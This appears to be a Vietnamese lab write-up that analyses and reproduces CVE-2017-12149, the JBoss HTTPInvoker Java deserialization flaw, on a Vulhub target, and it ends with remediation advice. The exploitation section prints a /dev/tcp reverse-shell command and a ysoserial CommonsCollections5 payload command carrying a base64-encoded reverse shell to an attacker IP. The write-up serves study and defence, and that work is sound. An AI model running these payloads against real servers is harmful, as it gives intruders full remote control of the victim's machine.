Series reproduce N-day

Phân tích Root Cause và Tái hiện lỗ hổng Java Deserialization (CVE-2017-12149) trên JBoss

1. Tổng quan về CVE-2017-12149

CVE-2017-12149 là một lỗ hổng nghiêm trọng (Critical) nằm trong thành phần HTTPInvoker của JBoss Application Server (phiên bản 5.x và 6.x). Lỗ hổng này cho phép kẻ tấn công thực thi mã từ xa (Remote Code Execution - RCE) thông qua việc gửi các đối tượng Java đã được tuần tự hóa (Serialized Objects) tới các endpoint không được bảo vệ.

Lỗ hổng không chỉ nằm ở việc sử dụng ObjectInputStream mà xuất phát từ một sai lầm thiết kế:

JBoss HTTPInvoker expose một endpoint (/invoker/*) cho phép client gửi trực tiếp các Java serialized object qua HTTP mà không có authentication hoặc integrity check.

Điều này vi phạm nguyên tắc bảo mật quan trọng:

Không bao giờ deserialize dữ liệu không đáng tin cậy từ bên ngoài trust boundary.”

Server đã coi client như một thành phần nội bộ và tin tưởng dữ liệu nhận được, dẫn đến việc attacker có thể kiểm soát hoàn toàn quá trình deserialization.

2. Môi trường thử nghiệm (Lab Setup)

  • Target: JBoss AS 6.1.0 Final chạy trong Docker (Vulhub).
  • Attacker: Kali Linux.
  • Công cụ: ysoserial, curl, netcat, Docker.

Bước 1: Chuẩn bị môi trường (Lab Setup)

Bạn cần cài đặt Docker và Docker-compose. Sau đó, thực hiện lệnh để kéo môi trường JBoss bị lỗi về:

  1. Tải cấu hình lab:

    git clone https://github.com/vulhub/vulhub.git cd vulhub/jboss/CVE-2017-12149

  2. Khởi chạy container:Bash

    docker-compose up -d

    Sau khi chạy, JBoss sẽ lắng nghe ở port 8080. Bạn có thể truy cập http://your-ip:8080 để kiểm tra.

image.png

Truy cập vào endpoint thì t thấy đường dẫn này trả về lỗi 500 cùng với các dòng debug trong file ReadOnlyAccessFilter

Sau đó copy file tìm được ra máy bên ngoài và dùng jd-gui để dịch ngược file ra file java để có thể phân tích code

image.png

bạn hãy gõ exit để thoát khỏi container đã. Sau đó, đứng ở terminal của Kali (phucquan@kali), copy và dán lệnh này:

sudo docker cp 5c0fd4476c4b:/jboss-6.1.0.Final/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/classes/org/jboss/invocation/http/servlet/ReadOnlyAccessFilter.class ./

image.png

Giải thích:

  • 5c0fd4476c4b: ID container của bạn.
  • :.../ReadOnlyAccessFilter.class: Đường dẫn tuyệt đối đến file “hung thủ”.
  • ./: Copy về thư mục hiện tại bạn đang đứng trên máy Kali.

Bước 2. Công cụ dịch ngược Java (Decompiler) trên Kali

Trên Kali Linux, bạn có vài lựa chọn rất xịn để “mổ xẻ” file .class này:

Dựa trên việc dịch ngược mã nguồn (Decompile) class org.jboss.invocation.http.servlet.ReadOnlyAccessFilter, chúng ta xác định được luồng xử lý lỗi như sau:

Cơ chế Mapping

Trong file cấu hình web.xml của component http-invoker, URL pattern /readonly được điều hướng trực tiếp tới Filter ReadOnlyAccessFilter.

Cách 1: Dùng JD-GUI (Giao diện đồ họa - Dễ dùng nhất)

Đây là công cụ kinh điển, giúp bạn đọc code Java như đang đọc file text bình thường.

  • Cài đặt: ```bash sudo apt update sudo apt install jd-gui
  • Sử dụng:jd-gui ReadOnlyAccessFilter.class để mở file.

image.png

Và đây là toàn bộ source code

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Method;
import java.security.Principal;
import java.util.Map;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import org.jboss.invocation.MarshalledInvocation;
import org.jboss.invocation.http.servlet.ReadOnlyAccessFilter;
import org.jboss.logging.Logger;
import org.jboss.mx.util.MBeanServerLocator;

public class ReadOnlyAccessFilter implements Filter {
  private static Logger log = Logger.getLogger(ReadOnlyAccessFilter.class);
  
  private FilterConfig filterConfig = null;
  
  private String readOnlyContext;
  
  private Map namingMethodMap;
  
  public void init(FilterConfig filterConfig) throws ServletException {
    this.filterConfig = filterConfig;
    if (filterConfig != null) {
      this.readOnlyContext = filterConfig.getInitParameter("readOnlyContext");
      String invokerName = filterConfig.getInitParameter("invokerName");
      try {
        MBeanServer mbeanServer = MBeanServerLocator.locateJBoss();
        ObjectName mbean = new ObjectName(invokerName);
        this.namingMethodMap = (Map)mbeanServer.getAttribute(mbean, "MethodMap");
      } catch (Exception e) {
        log.error("Failed to init ReadOnlyAccessFilter", e);
        throw new ServletException("Failed to init ReadOnlyAccessFilter", e);
      } 
    } 
  }
  
  public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
    HttpServletRequest httpRequest = (HttpServletRequest)request;
    Principal user = httpRequest.getUserPrincipal();
    if (user == null && this.readOnlyContext != null) {
      ServletInputStream sis = request.getInputStream();
      ObjectInputStream ois = new ObjectInputStream((InputStream)sis);
      MarshalledInvocation mi = null;
      try {
        mi = (MarshalledInvocation)ois.readObject();
      } catch (ClassNotFoundException e) {
        throw new ServletException("Failed to read MarshalledInvocation", e);
      } 
      request.setAttribute("MarshalledInvocation", mi);
      mi.setMethodMap(this.namingMethodMap);
      Method m = mi.getMethod();
      if (m != null)
        validateAccess(m, mi); 
    } 
    chain.doFilter(request, response);
  }
  
  public void destroy() {}
  
  public String toString() {
    if (this.filterConfig == null)
      return "NamingAccessFilter()"; 
    StringBuffer sb = new StringBuffer("NamingAccessFilter(");
    sb.append(this.filterConfig);
    sb.append(")");
    return sb.toString();
  }
  
  private void validateAccess(Method m, MarshalledInvocation mi) throws ServletException {
    String name;
    boolean trace = log.isTraceEnabled();
    if (trace)
      log.trace("Checking against readOnlyContext: " + this.readOnlyContext); 
    String methodName = m.getName();
    if (!methodName.equals("lookup"))
      throw new ServletException("Only lookups against " + this.readOnlyContext + " are allowed"); 
    Object[] args = mi.getArguments();
    Object arg = (args.length > 0) ? args[0] : "";
    if (arg instanceof String) {
      name = (String)arg;
    } else {
      name = arg.toString();
    } 
    if (trace)
      log.trace("Checking lookup(" + name + ") against: " + this.readOnlyContext); 
    if (!name.startsWith(this.readOnlyContext))
      throw new ServletException("Lookup(" + name + ") is not under: " + this.readOnlyContext); 
  }
}

3.Quy trình khai và và kĩ thuật Taint analyst ( phân tích vết bẩn)

a. Dữ liệu đầu vào (Source)

Lỗ hổng bắt đầu từ dòng 47-48 trong hàm doFilter:

Java

ServletInputStream sis = request.getInputStream(); ObjectInputStream ois = new ObjectInputStream((InputStream)sis);

  • Vấn đề: Code lấy trực tiếp dữ liệu từ Body của HTTP Request (getInputStream) và nạp vào ObjectInputStream.
  • Rủi ro: Đây là dữ liệu chưa qua kiểm duyệt (untrusted input). ObjectInputStream được thiết kế để đọc các đối tượng Java đã được serialize (mã hóa thành binary), nhưng nó không có cơ chế tự bảo vệ trước các dữ liệu độc hại.

b. Điểm thực thi mã độc (Sink)

Lỗ hổng thực sự nằm ở dòng 51:

Java

mi = (MarshalledInvocation)ois.readObject();

  • Cơ chế: Khi hàm readObject() được gọi, Java sẽ giải mã dữ liệu binary để tạo lại đối tượng (deserialization).
  • Tại sao RCE? Nếu kẻ tấn công gửi một chuỗi đối tượng (Gadget Chain) từ các thư viện có sẵn trên server (như Apache Commons Collections), quá trình readObject() sẽ kích hoạt việc thực thi lệnh hệ thống (ví dụ: Runtime.exec()) ngay lập tức. Mã độc chạy trước khi đối tượng được ép kiểu về MarshalledInvocation.
  • Việc readObject() tự thân không gây RCE, mà phụ thuộc vào sự tồn tại của các gadget chain trong classpath.
  • Trong trường hợp này, JBoss sử dụng các thư viện như Apache Commons Collections, chứa các class có thể bị lạm dụng (ví dụ: InvokerTransformer, ChainedTransformer).

Khi attacker gửi một object được tạo bằng ysoserial (ví dụ: CommonsCollections5), quá trình deserialization sẽ:

  1. Tự động gọi các method đặc biệt (readObject, readResolve, v.v.)

  2. Kích hoạt chuỗi gadget

  3. Cuối cùng dẫn đến Runtime.getRuntime().exec()

Do đó, điều kiện để exploit thành công là server phải có các thư viện chứa gadget chain phù hợp.

c. Sai lầm trong logic kiểm tra (Flawed Logic)

Hãy nhìn vào dòng 60, nơi hàm validateAccess được gọi:

Java

if (m != null) validateAccess(m, mi);

  • Lỗi logic: Lập trình viên cố gắng kiểm tra xem người dùng có quyền thực hiện phương thức (m) đó không.
  • Thực tế: Việc kiểm tra này diễn ra sau khi readObject() đã thực hiện xong. Nếu payload là mã độc, server đã bị chiếm quyền điều khiển (RCE) ngay tại dòng 51, nên việc kiểm tra ở dòng 60 hoàn toàn vô nghĩa.
  • Developer cho rằng việc kiểm tra method (validateAccess) sau khi deserialize là đủ để đảm bảo an toàn.

Tuy nhiên, đây là một hiểu lầm nghiêm trọng:

  • Việc thực thi mã độc xảy ra ngay trong quá trình readObject()
  • Tức là trước khi bất kỳ logic kiểm tra nào được thực hiện

Nói cách khác, validation được đặt sai vị trí trong luồng xử lý.

Đây là một ví dụ điển hình của lỗi:

“Performing security checks after a dangerous operation”

Bạn có thể tham khảo full flow (end - to - end ) của exploit này

Data Flow (End-to-End)

HTTP Request (attacker-controlled) ↓ ServletInputStream ↓ ObjectInputStream.readObject() ← 💥 RCE xảy ra tại đây ↓ MarshalledInvocation object ↓ getMethod() ↓ validateAccess() ← ❌ quá muộn

4.Quy trình khai thác (Exploitation)

Bước 1: Chuẩn bị Payload

Do phương thức Runtime.getRuntime().exec() trong Java không hỗ trợ trực tiếp các ký tự đặc biệt của Shell (như |, >), chúng ta cần mã hóa lệnh Reverse Shell sang định dạng Base64.

Lệnh gốc:bash -i >& /dev/tcp/192.168.17.128/4444 0>&1

image.png

Đây là hình ảnh lệnh sau khi encode

Bạn cần file ysoserial.jar để tạo ra chuỗi đối tượng (Gadget Chain) đánh lừa hàm readObject().

  1. Tải về: Nếu chưa có, bạn tải bản .jar từ GitHub của ysoserial.
  2. Chọn Gadget: Với bản JBoss 6.1.0 này, thư viện CommonsCollections bản cũ rất dễ bị khai thác. Ta sẽ dùng CommonsCollections5.

Bước 2: Tạo Payload RCE

Giả sử bạn muốn tạo một file trong server để chứng minh đã chiếm quyền.

Tạo dữ liệu được tuần tự hóa

Chúng tôi sử dụng ysoserial để tạo dữ liệu được tuần tự hóa. Vì Vulhub sử dụng phiên bản Java mới hơn, chúng tôi chọn tiện ích CommonsCollections5:

  1. Chạy lệnh tạo file .ser:

Lệnh này sẽ đóng gói lệnh vào trong một Object Java và lưu thành file binary poc.ser.

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

Sau đó tôi thiết lập 1 máy nghe ở máy tấn công

image.png

sau đó sử dụng lệnh curl để gửi dữ liệu tới hoặc là gửi bằng burpsuite cũng được

image.png

Và…. chúng ta đã RCE

image.png

Impact của CVE này lên tới 9.8/10 do dẫn tới RCE như trên , các attacker có thể hành động :

  • Remote Code Execution (RCE) không cần authentication
  • Toàn quyền điều khiển server (shell access)
  • Có thể pivot sang các hệ thống nội bộ khác
  • Nguy cơ wormable trong mạng nội bộ nếu nhiều instance JBoss tồn tại

Đây là một lỗ hổng cực kỳ nguy hiểm trong môi trường enterprise.

5. Giải pháp khắc phục (Remediation)

Secure Coding Recommendations

  • Không sử dụng Java native serialization với dữ liệu từ user
  • Nâng cấp hệ thống: Chuyển sang các phiên bản JBoss/WildFly mới hơn, nơi các cơ chế Serialization mặc định đã được thay thế bằng các phương thức truyền tải dữ liệu an toàn hơn (như JSON)
  • Áp dụng ObjectInputFilter (Java 9+) để giới hạn class được deserialize
  • Sử dụng Whitelist: Triển khai các thư viện bảo mật hỗ trợ kiểm tra Class Name trước khi Deserialize (ví dụ: SerialKiller).

Defense-in-Depth

  • Hạn chế quyền truy cập: Cấu hình tường lửa hoặc Web Server (Nginx/Apache) để chặn truy cập từ bên ngoài vào các URL /invoker/*.
  • Gỡ bỏ thành phần không cần thiết: Nếu không sử dụng tính năng HTTP Invoker, hãy xóa các file .sar.war liên quan trong thư mục deploy.

6. Kết luận.

CVE-2017-12149 là một ví dụ điển hình cho việc một quyết định thiết kế sai lầm có thể dẫn đến hậu quả nghiêm trọng như thế nào. Thông qua việc tái hiện lỗ hổng này, có thể thấy rằng vấn đề không nằm ở riêng ObjectInputStream, mà ở cách hệ thống phá vỡ trust boundary khi cho phép client kiểm soát trực tiếp dữ liệu được deserialize.

Điểm nguy hiểm nằm ở chỗ quá trình deserialization trong Java không đơn thuần là chuyển đổi dữ liệu, mà có thể kích hoạt execution flow thông qua các gadget chain có sẵn trong classpath. Mặc dù đây là một lỗ hổng n-day, nhưng trong thực tế, các hệ thống sử dụng JBoss legacy hoặc các cơ chế serialization tương tự vẫn tồn tại rộng rãi, khiến loại vulnerability này vẫn giữ nguyên giá trị khai thác.

Bài học rút ra không chỉ là cách khai thác, mà là cách tư duy:

→ Mọi dữ liệu đi qua trust boundary đều phải được xem là code tiềm năng nếu cơ chế xử lý cho phép thực thi.